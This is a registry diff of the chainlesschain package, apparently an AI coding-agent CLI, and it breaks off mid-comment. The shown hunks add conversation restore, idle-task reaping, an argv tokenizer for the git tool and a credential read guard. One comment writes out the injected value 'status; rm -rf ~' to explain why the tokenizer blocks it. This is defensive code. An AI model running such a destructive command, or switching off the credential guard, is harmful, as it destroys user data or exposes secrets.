chainlesschain 0.162.122 → 0.162.124

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (228) hide show
  1. package/package.json +1 -1
  2. package/src/assets/web-panel/.build-hash +1 -1
  3. package/src/assets/web-panel/assets/AIOps-BsDJlD_l.js +1 -0
  4. package/src/assets/web-panel/assets/{ActionButton-Bqvaz1Yj.js → ActionButton-COjZZKWG.js} +1 -1
  5. package/src/assets/web-panel/assets/Analytics-4ZDZE7lc.js +3 -0
  6. package/src/assets/web-panel/assets/{AppLayout-cs0TRZya.js → AppLayout-CYH5k2Rp.js} +5 -5
  7. package/src/assets/web-panel/assets/Audit-BKlFbLdl.js +1 -0
  8. package/src/assets/web-panel/assets/Backup-CiX61Qc2.js +1 -0
  9. package/src/assets/web-panel/assets/{BaseInput-4qhQiJfI.js → BaseInput-CDxIQokd.js} +1 -1
  10. package/src/assets/web-panel/assets/{Chat-DUFX3Mv4.js → Chat-CaKgdRab.js} +6 -6
  11. package/src/assets/web-panel/assets/ChatBubbleRenderer-DgvpwU5o.js +1 -0
  12. package/src/assets/web-panel/assets/{Checkbox-C4eyD_nB.js → Checkbox-CjiWfu4s.js} +1 -1
  13. package/src/assets/web-panel/assets/Codegen-tKWGzajw.js +1 -0
  14. package/src/assets/web-panel/assets/{Col-3eHStfvJ.js → Col-ZKWREyNs.js} +1 -1
  15. package/src/assets/web-panel/assets/{Community-DFbKjEgh.js → Community-CmLuPBUU.js} +1 -1
  16. package/src/assets/web-panel/assets/{Compact-D5str1h-.js → Compact-DqknM98n.js} +1 -1
  17. package/src/assets/web-panel/assets/Compliance-PZw0aBLI.js +1 -0
  18. package/src/assets/web-panel/assets/{Cowork-Cdliboj6.js → Cowork-Dp29kHsC.js} +2 -2
  19. package/src/assets/web-panel/assets/{Cron-Bfmwl6iZ.js → Cron-zmEJAetz.js} +2 -2
  20. package/src/assets/web-panel/assets/Crosschain-Sb-uM7Ty.js +1 -0
  21. package/src/assets/web-panel/assets/{DID-xqi72kjo.js → DID-D_UFNzJ5.js} +2 -2
  22. package/src/assets/web-panel/assets/{Dashboard-4l68QdSQ.js → Dashboard-Btag698v.js} +2 -2
  23. package/src/assets/web-panel/assets/{Dropdown-C2wsZOdn.js → Dropdown-CH7l3KCs.js} +1 -1
  24. package/src/assets/web-panel/assets/EmailListRenderer-Bud2M3XX.js +1 -0
  25. package/src/assets/web-panel/assets/{FamilyGuardDashboard-CHK5rapA.js → FamilyGuardDashboard-Bd2_8uME.js} +1 -1
  26. package/src/assets/web-panel/assets/Federation-1jhstF5P.js +1 -0
  27. package/src/assets/web-panel/assets/{FormItemContext-lLOEHvAb.js → FormItemContext-CpSH464Y.js} +1 -1
  28. package/src/assets/web-panel/assets/{GenericCardRenderer-CaDh2XiY.js → GenericCardRenderer-CANo8O-y.js} +1 -1
  29. package/src/assets/web-panel/assets/{Git-B9SmGPMU.js → Git-hvuZVoD3.js} +2 -2
  30. package/src/assets/web-panel/assets/Governance-BQrWksKt.js +1 -0
  31. package/src/assets/web-panel/assets/Inference-jEBTp12v.js +1 -0
  32. package/src/assets/web-panel/assets/KnowledgeGraph-tDiV2taf.js +1 -0
  33. package/src/assets/web-panel/assets/Logs-DDkTnedu.js +2 -0
  34. package/src/assets/web-panel/assets/Marketplace-9Yi32avt.js +1 -0
  35. package/src/assets/web-panel/assets/{McpTools-Dxlypa0R.js → McpTools-Qx78XyOT.js} +5 -5
  36. package/src/assets/web-panel/assets/{Memory-BxBHR7eW.js → Memory-CXYDO1oT.js} +2 -2
  37. package/src/assets/web-panel/assets/MobileBridge-MfUfkHA0.js +1 -0
  38. package/src/assets/web-panel/assets/{MobileProjects-59gyfK6T.js → MobileProjects-DEDbWNIk.js} +1 -1
  39. package/src/assets/web-panel/assets/{Mtc-2YBBawFi.js → Mtc-Dwa_vlR8.js} +2 -2
  40. package/src/assets/web-panel/assets/{MtcAudit-DczAeHfM.js → MtcAudit-DAVkxhJv.js} +2 -2
  41. package/src/assets/web-panel/assets/{Multisig-CPxyt7a-.js → Multisig-C3upmgPN.js} +3 -3
  42. package/src/assets/web-panel/assets/NLProgramming-DO3CZ0_z.js +1 -0
  43. package/src/assets/web-panel/assets/{Notes-tHRMLOQ3.js → Notes-B1Oy3FbC.js} +4 -4
  44. package/src/assets/web-panel/assets/{NotificationSettings-DxIYUWPW.js → NotificationSettings-Bs4-Fc6b.js} +1 -1
  45. package/src/assets/web-panel/assets/OrderTableRenderer-CEy1pIeq.js +1 -0
  46. package/src/assets/web-panel/assets/Organization-D4cJ1UNo.js +4 -0
  47. package/src/assets/web-panel/assets/{Overflow-DrdVw_fC.js → Overflow-fdzvlF7x.js} +1 -1
  48. package/src/assets/web-panel/assets/{P2P-CMBYxejX.js → P2P-Y13PwXBA.js} +2 -2
  49. package/src/assets/web-panel/assets/PdhVaultBrowser-Ck1zCLe6.js +7 -0
  50. package/src/assets/web-panel/assets/Permissions-CvEXP6LC.js +4 -0
  51. package/src/assets/web-panel/assets/{PersonalDataHub-nuqNTK2w.js → PersonalDataHub-JeP7IWMW.js} +3 -3
  52. package/src/assets/web-panel/assets/Pipeline-BZ7wRzG1.js +1 -0
  53. package/src/assets/web-panel/assets/Privacy-BJ6qj9Hv.js +1 -0
  54. package/src/assets/web-panel/assets/{ProjectInit-hCWXNnGJ.js → ProjectInit-DeWd9UcS.js} +2 -2
  55. package/src/assets/web-panel/assets/ProjectSettings-DUpVuU9F.js +2 -0
  56. package/src/assets/web-panel/assets/{Projects-C6l6z4Mo.js → Projects-y1WbI337.js} +1 -1
  57. package/src/assets/web-panel/assets/{Providers-kEifEWLb.js → Providers-DECW00ek.js} +1 -1
  58. package/src/assets/web-panel/assets/{QuickAsk-B6oLUYKR.js → QuickAsk-Dl-pK9Io.js} +1 -1
  59. package/src/assets/web-panel/assets/Recommend-Bju04wTd.js +1 -0
  60. package/src/assets/web-panel/assets/Reputation-BUPa3nEk.js +1 -0
  61. package/src/assets/web-panel/assets/{Row-W6LSmdzh.js → Row-WYqqaq_5.js} +1 -1
  62. package/src/assets/web-panel/assets/{RssFeed-DJi97lWh.js → RssFeed-iyQT5q9l.js} +3 -3
  63. package/src/assets/web-panel/assets/Search-CrfwJF0R.js +1 -0
  64. package/src/assets/web-panel/assets/{Security-BtawKhmm.js → Security-c4Jxf5Ih.js} +4 -4
  65. package/src/assets/web-panel/assets/{Services-BdCe11of.js → Services-CRuisolj.js} +2 -2
  66. package/src/assets/web-panel/assets/{Skeleton-C_wcDxpN.js → Skeleton-CCnzJkb-.js} +1 -1
  67. package/src/assets/web-panel/assets/{Skills-n2GgEfQ1.js → Skills-CZURCwZg.js} +1 -1
  68. package/src/assets/web-panel/assets/Sla-CrMzaEi2.js +1 -0
  69. package/src/assets/web-panel/assets/SpeechSettings-jTDOM5eY.js +1 -0
  70. package/src/assets/web-panel/assets/{SyncSettings-BBbldyeR.js → SyncSettings-CJWVtd87.js} +2 -2
  71. package/src/assets/web-panel/assets/{Tasks-DMkBOCW-.js → Tasks-61lrQ_lS.js} +1 -1
  72. package/src/assets/web-panel/assets/Templates-Cg-iF2g1.js +1 -0
  73. package/src/assets/web-panel/assets/Tenant-DrDv1FFc.js +1 -0
  74. package/src/assets/web-panel/assets/Terminal-CP15hcNS.js +3 -0
  75. package/src/assets/web-panel/assets/{TimelineRenderer-Drf_B0al.js → TimelineRenderer-Sl5uXrkN.js} +1 -1
  76. package/src/assets/web-panel/assets/Tokens-yRIZTVsR.js +1 -0
  77. package/src/assets/web-panel/assets/{Trigger-CNUB_qRQ.js → Trigger-BLCQEOF2.js} +1 -1
  78. package/src/assets/web-panel/assets/Trust-D5xq8z6s.js +1 -0
  79. package/src/assets/web-panel/assets/{UkeySign-7o1O51qV.js → UkeySign-Dwp0zXQ6.js} +1 -1
  80. package/src/assets/web-panel/assets/{VideoEditing-Ccb1cTxo.js → VideoEditing-CIHA55Sx.js} +1 -1
  81. package/src/assets/web-panel/assets/Wallet-Hjajvnto.js +4 -0
  82. package/src/assets/web-panel/assets/WebAuthn-DqSURUvI.js +5 -0
  83. package/src/assets/web-panel/assets/{WorkflowEditor-BcFvWc2d.js → WorkflowEditor-B5bHRwUG.js} +1 -1
  84. package/src/assets/web-panel/assets/{chat-CPvCSHY4.js → chat-DsheLKkG.js} +1 -1
  85. package/src/assets/web-panel/assets/{colors-Ca7MoLtb.js → colors-CST2UkgL.js} +1 -1
  86. package/src/assets/web-panel/assets/community-parser-Cuyslaku.js +3 -0
  87. package/src/assets/web-panel/assets/{compact-item-B9AUAVCQ.js → compact-item-yqEoy1L7.js} +1 -1
  88. package/src/assets/web-panel/assets/{createContext-CnMJHqHw.js → createContext-Jwp78HFY.js} +1 -1
  89. package/src/assets/web-panel/assets/devWarning-C8to6gQk.js +1 -0
  90. package/src/assets/web-panel/assets/{hasIn-Bevd8pXd.js → hasIn-CVS5mFEP.js} +1 -1
  91. package/src/assets/web-panel/assets/{index-gR1xGRvy.js → index-AnW25bEq.js} +1 -1
  92. package/src/assets/web-panel/assets/{index-B3zlqc60.js → index-BCHAUdel.js} +1 -1
  93. package/src/assets/web-panel/assets/{index-BzmhHe0m.js → index-BLTUVd0V.js} +1 -1
  94. package/src/assets/web-panel/assets/{index-BM1tI3g5.js → index-BeblNJDH.js} +1 -1
  95. package/src/assets/web-panel/assets/{index-CAKYScOz.js → index-BuI27WSx.js} +1 -1
  96. package/src/assets/web-panel/assets/{index-PidVLx0u.js → index-BzetOasL.js} +1 -1
  97. package/src/assets/web-panel/assets/{index-Dnk8TOm3.js → index-C0FZScMe.js} +1 -1
  98. package/src/assets/web-panel/assets/{index-CvhLkwFR.js → index-C130LLPq.js} +1 -1
  99. package/src/assets/web-panel/assets/{index-0DtNS6oi.js → index-C8rq85gu.js} +1 -1
  100. package/src/assets/web-panel/assets/{index-BUlsrbu2.js → index-CDAPnZUs.js} +1 -1
  101. package/src/assets/web-panel/assets/{index-HdGuA1pS.js → index-CIE2n8k_.js} +1 -1
  102. package/src/assets/web-panel/assets/{index-ecThTNhE.js → index-CRBbVS43.js} +1 -1
  103. package/src/assets/web-panel/assets/{index-DW3rTBy_.js → index-CSBPc-sI.js} +1 -1
  104. package/src/assets/web-panel/assets/{index-C5i4gKvN.js → index-CTd3lDxp.js} +1 -1
  105. package/src/assets/web-panel/assets/index-CUWj5L2s.js +1 -0
  106. package/src/assets/web-panel/assets/{index-B619_m_T.js → index-ChRL6rgA.js} +1 -1
  107. package/src/assets/web-panel/assets/{index-tUD_CWx-.js → index-CjfN2CpJ.js} +1 -1
  108. package/src/assets/web-panel/assets/{index-BcRDjaEi.js → index-Cjig5i3a.js} +3 -3
  109. package/src/assets/web-panel/assets/{index-Ct3wP67S.js → index-Crk4KWLW.js} +1 -1
  110. package/src/assets/web-panel/assets/{index-p1rI3d66.js → index-CrlRa054.js} +1 -1
  111. package/src/assets/web-panel/assets/{index-DPk2HXTA.js → index-CtyEOGuj.js} +1 -1
  112. package/src/assets/web-panel/assets/{index-aB7GLimB.js → index-Cu6Ql64n.js} +1 -1
  113. package/src/assets/web-panel/assets/{index-BFkrnvs_.js → index-Cx_t5rWw.js} +1 -1
  114. package/src/assets/web-panel/assets/{index-ienIjr7_.js → index-Cy0dNzkp.js} +1 -1
  115. package/src/assets/web-panel/assets/{index-DAjYLhik.js → index-CzsKK0tQ.js} +1 -1
  116. package/src/assets/web-panel/assets/{index-CGEc6vlv.js → index-DDAigsel.js} +1 -1
  117. package/src/assets/web-panel/assets/index-DZfnYE6e.js +1 -0
  118. package/src/assets/web-panel/assets/{index-C3biz3RB.js → index-D_1b7uh6.js} +1 -1
  119. package/src/assets/web-panel/assets/{index-D9VR1tES.js → index-D_e9gwfn.js} +1 -1
  120. package/src/assets/web-panel/assets/{index-BGBbFzIJ.js → index-DbxAlpPC.js} +1 -1
  121. package/src/assets/web-panel/assets/{index-CVxhWXMd.js → index-De600Jjm.js} +1 -1
  122. package/src/assets/web-panel/assets/{index-2KMpdEzs.js → index-Dgyn8-wN.js} +1 -1
  123. package/src/assets/web-panel/assets/{index-CQKVKyjf.js → index-DiK4vSZa.js} +1 -1
  124. package/src/assets/web-panel/assets/{index-CtIv89mI.js → index-DpYn5v2k.js} +1 -1
  125. package/src/assets/web-panel/assets/{index-DTxmgfz2.js → index-DxaU_lza.js} +1 -1
  126. package/src/assets/web-panel/assets/{index-Cd62bwRd.js → index-Dxljh9Fu.js} +1 -1
  127. package/src/assets/web-panel/assets/{index-kUeSjyHt.js → index-R-VGFpi6.js} +1 -1
  128. package/src/assets/web-panel/assets/{index-BwDJvHfR.js → index-SjxCCf5h.js} +1 -1
  129. package/src/assets/web-panel/assets/{index-BV1U7tR6.js → index-diWkx2Wq.js} +1 -1
  130. package/src/assets/web-panel/assets/{initDefaultProps-dsKHYCPH.js → initDefaultProps-ClAjrsQ-.js} +1 -1
  131. package/src/assets/web-panel/assets/{motion-DdPCK2zh.js → motion-BalXv_60.js} +1 -1
  132. package/src/assets/web-panel/assets/{move-Bi0bmOjg.js → move-DMelzIW-.js} +1 -1
  133. package/src/assets/web-panel/assets/mtc-parser-CEQffxds.js +1 -0
  134. package/src/assets/web-panel/assets/{omit-DCrBiySU.js → omit-oxecfU3b.js} +1 -1
  135. package/src/assets/web-panel/assets/{pickAttrs-CcJuqfya.js → pickAttrs-DJ5F5M6x.js} +1 -1
  136. package/src/assets/web-panel/assets/{placementArrow-DFGuzth-.js → placementArrow-DdbKsant.js} +1 -1
  137. package/src/assets/web-panel/assets/{responsiveObserve-B_WDlgvI.js → responsiveObserve-BUuM5cmS.js} +1 -1
  138. package/src/assets/web-panel/assets/{slide-BSFabVgO.js → slide-DSV0ccvR.js} +1 -1
  139. package/src/assets/web-panel/assets/{statusUtils-CebvsGH8.js → statusUtils-B-6oLAXf.js} +1 -1
  140. package/src/assets/web-panel/assets/{styleChecker-CMuE7NWy.js → styleChecker-DdCAHtsZ.js} +1 -1
  141. package/src/assets/web-panel/assets/{useFlexGapSupport-RWGVgZNu.js → useFlexGapSupport-ZORkcoZd.js} +1 -1
  142. package/src/assets/web-panel/assets/{useFs-srxzzfG_.js → useFs-BFp46LoP.js} +1 -1
  143. package/src/assets/web-panel/assets/{usePersonalDataHub-B5OwxZuK.js → usePersonalDataHub-H7rxgbdW.js} +1 -1
  144. package/src/assets/web-panel/assets/{vnode-CXOEebAH.js → vnode-eIq4Tk0J.js} +1 -1
  145. package/src/assets/web-panel/assets/{zoom-DKNwqG2v.js → zoom-CTNrv8-H.js} +1 -1
  146. package/src/assets/web-panel/index.html +1 -1
  147. package/src/commands/ask.js +24 -1
  148. package/src/commands/init.js +5 -4
  149. package/src/commands/instinct.js +18 -5
  150. package/src/commands/mcp.js +30 -3
  151. package/src/commands/memory.js +18 -5
  152. package/src/gateways/http/envelope-http-server.js +17 -2
  153. package/src/gateways/terminal/PtyManager.js +15 -2
  154. package/src/gateways/ws/ws-server.js +20 -0
  155. package/src/gateways/ws/ws-session-gateway.js +16 -0
  156. package/src/harness/mcp-client.js +124 -6
  157. package/src/harness/worktree-isolator.js +20 -9
  158. package/src/lib/agent-core.js +3 -0
  159. package/src/lib/autonomous-agent.js +7 -6
  160. package/src/lib/chat-intent-service.js +4 -2
  161. package/src/lib/checkpoint-store.js +23 -0
  162. package/src/lib/credential-guard.js +291 -0
  163. package/src/lib/ensure-utf8.js +6 -1
  164. package/src/lib/git-integration.js +57 -1
  165. package/src/lib/hook-manager.js +15 -6
  166. package/src/lib/hook-runner.cjs +11 -1
  167. package/src/lib/interactive-planner.js +4 -3
  168. package/src/lib/json-schema-output.js +47 -0
  169. package/src/lib/learning/reflection-engine.js +4 -3
  170. package/src/lib/learning/skill-improver.js +4 -3
  171. package/src/lib/learning/skill-synthesizer.js +4 -3
  172. package/src/lib/mcp-client.js +1 -0
  173. package/src/lib/mcp-oauth.js +243 -24
  174. package/src/lib/mcp-serve.js +56 -6
  175. package/src/lib/orchestrator.js +4 -2
  176. package/src/lib/process-manager.js +31 -3
  177. package/src/lib/repl-completer.js +29 -0
  178. package/src/lib/repl-rewind.js +58 -0
  179. package/src/lib/repl-vim.js +13 -1
  180. package/src/lib/settings-hooks.cjs +12 -3
  181. package/src/lib/slot-filler.js +4 -3
  182. package/src/lib/sub-agent-context.js +6 -0
  183. package/src/lib/web-fetch.js +54 -3
  184. package/src/lib/workflow-engine.js +35 -11
  185. package/src/repl/agent-repl.js +52 -2
  186. package/src/runtime/agent-core.js +324 -26
  187. package/src/runtime/headless-stream.js +124 -17
  188. package/src/assets/web-panel/assets/AIOps-BmS46GrQ.js +0 -1
  189. package/src/assets/web-panel/assets/Analytics-BhCnMbKz.js +0 -3
  190. package/src/assets/web-panel/assets/Audit-AwLNQzvX.js +0 -1
  191. package/src/assets/web-panel/assets/Backup-BOglo5g6.js +0 -1
  192. package/src/assets/web-panel/assets/ChatBubbleRenderer-LWgyWUF_.js +0 -1
  193. package/src/assets/web-panel/assets/Codegen-B9SRqAqh.js +0 -1
  194. package/src/assets/web-panel/assets/Compliance-DDYPQDiG.js +0 -1
  195. package/src/assets/web-panel/assets/Crosschain-Bfo6RvSg.js +0 -1
  196. package/src/assets/web-panel/assets/EmailListRenderer-CWh_fKmI.js +0 -1
  197. package/src/assets/web-panel/assets/Federation-JpiE2iKR.js +0 -1
  198. package/src/assets/web-panel/assets/Governance-B3ODoSO2.js +0 -1
  199. package/src/assets/web-panel/assets/Inference-C_jP_nlz.js +0 -1
  200. package/src/assets/web-panel/assets/KnowledgeGraph-zYwypnwu.js +0 -1
  201. package/src/assets/web-panel/assets/Logs-D6owai5o.js +0 -2
  202. package/src/assets/web-panel/assets/Marketplace-umRB80w4.js +0 -1
  203. package/src/assets/web-panel/assets/MobileBridge-Car9kLtE.js +0 -3
  204. package/src/assets/web-panel/assets/NLProgramming-DvKJ8imu.js +0 -1
  205. package/src/assets/web-panel/assets/OrderTableRenderer-BMpVfQkg.js +0 -1
  206. package/src/assets/web-panel/assets/Organization-BBsie-kN.js +0 -4
  207. package/src/assets/web-panel/assets/PdhVaultBrowser-BBHzSaeq.js +0 -7
  208. package/src/assets/web-panel/assets/Permissions-W4kD06Cj.js +0 -4
  209. package/src/assets/web-panel/assets/Pipeline-DzCX3yHy.js +0 -1
  210. package/src/assets/web-panel/assets/Privacy-9ENAJQOC.js +0 -1
  211. package/src/assets/web-panel/assets/ProjectSettings--BzvEaxE.js +0 -2
  212. package/src/assets/web-panel/assets/Recommend-BIEMGN0q.js +0 -1
  213. package/src/assets/web-panel/assets/Reputation-D-9AEaRr.js +0 -1
  214. package/src/assets/web-panel/assets/Search-DOEB2utf.js +0 -1
  215. package/src/assets/web-panel/assets/Sla-D5WfrvLP.js +0 -1
  216. package/src/assets/web-panel/assets/SpeechSettings-D6qCWpan.js +0 -1
  217. package/src/assets/web-panel/assets/Templates-DbLImR1I.js +0 -1
  218. package/src/assets/web-panel/assets/Tenant-B0qM4w6Z.js +0 -1
  219. package/src/assets/web-panel/assets/Terminal-BjKUkiR1.js +0 -3
  220. package/src/assets/web-panel/assets/Tokens-DgCx2Bfa.js +0 -1
  221. package/src/assets/web-panel/assets/Trust-JQUTjXXI.js +0 -1
  222. package/src/assets/web-panel/assets/Wallet-EMf9MlLK.js +0 -4
  223. package/src/assets/web-panel/assets/WebAuthn-DOYoaCmi.js +0 -5
  224. package/src/assets/web-panel/assets/community-parser-CO25nZFt.js +0 -3
  225. package/src/assets/web-panel/assets/devWarning-vFgm_Ssk.js +0 -1
  226. package/src/assets/web-panel/assets/index-BGUjPh7h.js +0 -1
  227. package/src/assets/web-panel/assets/index-Cx-wP5XE.js +0 -1
  228. package/src/assets/web-panel/assets/mtc-parser-BbAbUB-9.js +0 -1
@@ -628,6 +628,10 @@ export async function startAgentRepl(options = {}) {
628
628
  // emits `checkpoint` events, so `/rewind <n>` can also restore files to the
629
629
  // snapshot taken before that turn (Claude-Code rewind = code + conversation).
630
630
  const _checkpointMarks = [];
631
+ // Most recent conversation stashed by `/clear`, so `/rewind clear` can bring
632
+ // it back (Claude-Code 2.1.191). Nulled on a context swap so a stash from one
633
+ // session can't be restored into another. { messages, marks } | null.
634
+ let _clearedConversation = null;
631
635
  // Apply --output-style or the settings.json `outputStyle` default at startup.
632
636
  try {
633
637
  const { resolveOutputStyle } = await import("../lib/output-styles.js");
@@ -1150,6 +1154,8 @@ export async function startAgentRepl(options = {}) {
1150
1154
  }
1151
1155
  _vim = res;
1152
1156
  if (res.message === "bell") process.stdout.write("\x07");
1157
+ else if (res.notice)
1158
+ process.stdout.write("\n" + chalk.gray(res.notice) + "\n");
1153
1159
  _vimSync(res);
1154
1160
  return;
1155
1161
  }
@@ -1453,7 +1459,7 @@ export async function startAgentRepl(options = {}) {
1453
1459
  ` ${chalk.cyan("/export")} Save this conversation to a Markdown file (/export [path])`,
1454
1460
  );
1455
1461
  logger.log(
1456
- ` ${chalk.cyan("/rewind")} Rewind conversation + files to an earlier turn (double-Esc lists)`,
1462
+ ` ${chalk.cyan("/rewind")} Rewind to an earlier turn (double-Esc lists); ${chalk.cyan("/rewind clear")} restores a /clear`,
1457
1463
  );
1458
1464
  logger.log(
1459
1465
  ` ${chalk.cyan("/cd <dir>")} Change working directory mid-session (completion/memory follow)`,
@@ -1695,9 +1701,20 @@ export async function startAgentRepl(options = {}) {
1695
1701
  }
1696
1702
 
1697
1703
  if (trimmed === "/clear") {
1704
+ // Stash the conversation first so `/rewind clear` can restore it
1705
+ // (Claude-Code 2.1.191). A no-op /clear (nothing to stash) keeps any
1706
+ // existing restorable snapshot.
1707
+ const { snapshotClearedConversation } =
1708
+ await import("../lib/repl-rewind.js");
1709
+ const snap = snapshotClearedConversation(messages, _checkpointMarks);
1710
+ if (snap) _clearedConversation = snap;
1698
1711
  messages.length = 1; // Keep system prompt
1699
1712
  _checkpointMarks.length = 0; // checkpoint marks no longer map to anything
1700
- logger.info("Conversation cleared");
1713
+ logger.info(
1714
+ snap
1715
+ ? "Conversation cleared — run /rewind clear to restore it"
1716
+ : "Conversation cleared",
1717
+ );
1701
1718
  prompt();
1702
1719
  return;
1703
1720
  }
@@ -1868,8 +1885,32 @@ export async function startAgentRepl(options = {}) {
1868
1885
  renderTurnList,
1869
1886
  pickCheckpointForTurn,
1870
1887
  pruneMarksAfter,
1888
+ restoreClearedConversation,
1871
1889
  } = await import("../lib/repl-rewind.js");
1872
1890
  const arg = trimmed.slice("/rewind".length).trim();
1891
+ if (arg === "clear" || arg === "undo-clear") {
1892
+ // Restore the conversation stashed by /clear (Claude-Code 2.1.191).
1893
+ const r = restoreClearedConversation(
1894
+ messages,
1895
+ _checkpointMarks,
1896
+ _clearedConversation,
1897
+ );
1898
+ if (!r) {
1899
+ logger.error("Nothing to restore — no /clear has been run.");
1900
+ } else {
1901
+ _clearedConversation = r.newCleared;
1902
+ logger.log(
1903
+ chalk.green(
1904
+ `↺ restored ${r.restored} message(s) from before /clear` +
1905
+ (r.stashed
1906
+ ? ` (current ${r.stashed} stashed — /rewind clear swaps back)`
1907
+ : ""),
1908
+ ),
1909
+ );
1910
+ }
1911
+ prompt();
1912
+ return;
1913
+ }
1873
1914
  if (!arg) {
1874
1915
  logger.log(chalk.bold("\nRewind — pick a user turn (newest first):"));
1875
1916
  logger.log(renderTurnList(listUserTurns(messages)));
@@ -1877,6 +1918,13 @@ export async function startAgentRepl(options = {}) {
1877
1918
  ? " (restores files to that point too — checkpoints are on)"
1878
1919
  : " (conversation only — start with --checkpoint / git to also rewind files)";
1879
1920
  logger.log(chalk.gray(`Usage: /rewind <n>${fileHint}`));
1921
+ if (_clearedConversation) {
1922
+ logger.log(
1923
+ chalk.gray(
1924
+ ` /rewind clear — restore the ${_clearedConversation.messages.length} message(s) from before the last /clear`,
1925
+ ),
1926
+ );
1927
+ }
1880
1928
  } else {
1881
1929
  const res = rewindToTurn(messages, arg);
1882
1930
  if (!res) {
@@ -2081,6 +2129,7 @@ export async function startAgentRepl(options = {}) {
2081
2129
  // a later /rewind restore files from the WRONG session's snapshot.
2082
2130
  // Same reset /clear does on a context swap.
2083
2131
  _checkpointMarks.length = 0;
2132
+ _clearedConversation = null; // stash belongs to the swapped-out session
2084
2133
  logger.info(
2085
2134
  `Resumed JSONL session ${sessionId} (${rebuilt.length} messages)`,
2086
2135
  );
@@ -2098,6 +2147,7 @@ export async function startAgentRepl(options = {}) {
2098
2147
  sessionId = existing.id;
2099
2148
  // Drop the prior session's checkpoint marks (see JSONL branch).
2100
2149
  _checkpointMarks.length = 0;
2150
+ _clearedConversation = null; // stash belongs to the swapped-out session
2101
2151
  logger.info(
2102
2152
  `Resumed session ${sessionId} (${parsed.length} messages)`,
2103
2153
  );
@@ -16,7 +16,7 @@
16
16
 
17
17
  import fs from "fs";
18
18
  import path from "path";
19
- import { execSync, spawn } from "child_process";
19
+ import { execSync, spawn, spawnSync } from "child_process";
20
20
  import os from "os";
21
21
  import sharedCodingAgentPolicy from "./coding-agent-policy.cjs";
22
22
  import sharedShellPolicy from "./coding-agent-shell-policy.cjs";
@@ -218,6 +218,49 @@ export function killAllBackgroundShellTasks() {
218
218
  return killed;
219
219
  }
220
220
 
221
+ // Idle-reap tuning (Claude-Code 2.1.193 "automatic memory-pressure reaping for
222
+ // idle background shell commands"). A running task is a reap candidate when it
223
+ // has produced no output for BG_IDLE_REAP_MS AND the system is under memory
224
+ // pressure (free/total below BG_MEM_PRESSURE_RATIO). Conservative on purpose:
225
+ // idle-but-active tasks and a healthy machine are left alone, and the whole
226
+ // behaviour is off when CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP=1.
227
+ const BG_IDLE_REAP_MS = 5 * 60 * 1000; // 5 min of silence
228
+ const BG_MEM_PRESSURE_RATIO = 0.1; // free < 10% of total = pressure
229
+
230
+ /**
231
+ * Reap idle background shell tasks when the system is under memory pressure, so
232
+ * a forgotten `npm run dev` or a wedged build can't sit on memory indefinitely.
233
+ * No-op on a healthy machine (the pressure gate) or when disabled by env. Deps
234
+ * (now / freemem / totalmem / thresholds) are injectable for tests.
235
+ * @returns {string[]} ids of reaped tasks
236
+ */
237
+ export function reapIdleBackgroundShellTasks(deps = {}) {
238
+ if (process.env.CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP === "1") return [];
239
+ const now = deps.now || Date.now;
240
+ const freemem = deps.freemem || os.freemem;
241
+ const totalmem = deps.totalmem || os.totalmem;
242
+ const idleMs = deps.idleMs != null ? deps.idleMs : BG_IDLE_REAP_MS;
243
+ const ratio =
244
+ deps.pressureRatio != null ? deps.pressureRatio : BG_MEM_PRESSURE_RATIO;
245
+ const total = totalmem();
246
+ const free = freemem();
247
+ if (!(total > 0) || free / total >= ratio) return []; // healthy → nothing to do
248
+ const t = now();
249
+ const reaped = [];
250
+ for (const task of _backgroundShellTasks.values()) {
251
+ if (task.status !== "running") continue;
252
+ const last = task.lastActivityAt || Date.parse(task.startedAt) || 0;
253
+ if (t - last < idleMs) continue; // still producing output recently
254
+ if (_killTask(task)) {
255
+ task.status = "reaped";
256
+ task.endedAt = new Date().toISOString();
257
+ task.error = "reaped: idle under memory pressure";
258
+ reaped.push(task.id);
259
+ }
260
+ }
261
+ return reaped;
262
+ }
263
+
221
264
  // Foreground (synchronous) run_shell timeout. Configurable per-call via the
222
265
  // optional `timeout` arg; defaults to 60s and is hard-capped at 10 min so a
223
266
  // synchronous call can never wedge the loop indefinitely (use run_in_background
@@ -668,6 +711,50 @@ const IDE_DIFF_EDIT_TOOLS = new Set([
668
711
  "edit_file_hashed",
669
712
  ]);
670
713
 
714
+ /**
715
+ * Quote-aware shell tokenizer (mirrors gateways/ws `tokenizeCommand`). The `git`
716
+ * tool runs the model-supplied command via argv (spawnSync, NO shell), so a
717
+ * string like `status; rm -rf ~` can't inject a second command through the
718
+ * shell — git just sees `status;` as an unknown subcommand. A quoted arg (e.g.
719
+ * a commit message) keeps its content because quotes are consumed here.
720
+ */
721
+ export function tokenizeShellWords(input) {
722
+ const args = [];
723
+ let current = "";
724
+ let inDouble = false;
725
+ let inSingle = false;
726
+ let escape = false;
727
+ for (const ch of String(input || "")) {
728
+ if (escape) {
729
+ current += ch;
730
+ escape = false;
731
+ continue;
732
+ }
733
+ if (ch === "\\" && inDouble) {
734
+ escape = true;
735
+ continue;
736
+ }
737
+ if (ch === '"' && !inSingle) {
738
+ inDouble = !inDouble;
739
+ continue;
740
+ }
741
+ if (ch === "'" && !inDouble) {
742
+ inSingle = !inSingle;
743
+ continue;
744
+ }
745
+ if ((ch === " " || ch === "\t") && !inDouble && !inSingle) {
746
+ if (current.length > 0) {
747
+ args.push(current);
748
+ current = "";
749
+ }
750
+ continue;
751
+ }
752
+ current += ch;
753
+ }
754
+ if (current.length > 0) args.push(current);
755
+ return args;
756
+ }
757
+
671
758
  /**
672
759
  * Compute the content an edit tool WOULD write, without writing it — the
673
760
  * left/right sides for an IDE diff review. Mirrors the corresponding
@@ -1029,6 +1116,53 @@ export async function executeTool(name, args, context = {}) {
1029
1116
  }
1030
1117
  }
1031
1118
 
1119
+ // Credential READ guard (Claude-Code 2.1.189 parity: `sandbox.credentials`
1120
+ // blocks reads of credential files / secret env vars). cc has no OS sandbox,
1121
+ // so the same intent is enforced at the tool layer: pulling the user's secrets
1122
+ // into model context is a confirm-first action. `read_file` aimed at a
1123
+ // credential file, and `run_shell` commands that cat a credential file or echo
1124
+ // a secret env var, are gated. An explicit settings `allow`/confirmed `ask`
1125
+ // (ruleAllowed) pre-authorizes; headless without a confirmer fails closed;
1126
+ // `CC_CREDENTIAL_GUARD=0` disables it. Unlike --safe-mode (which weakens
1127
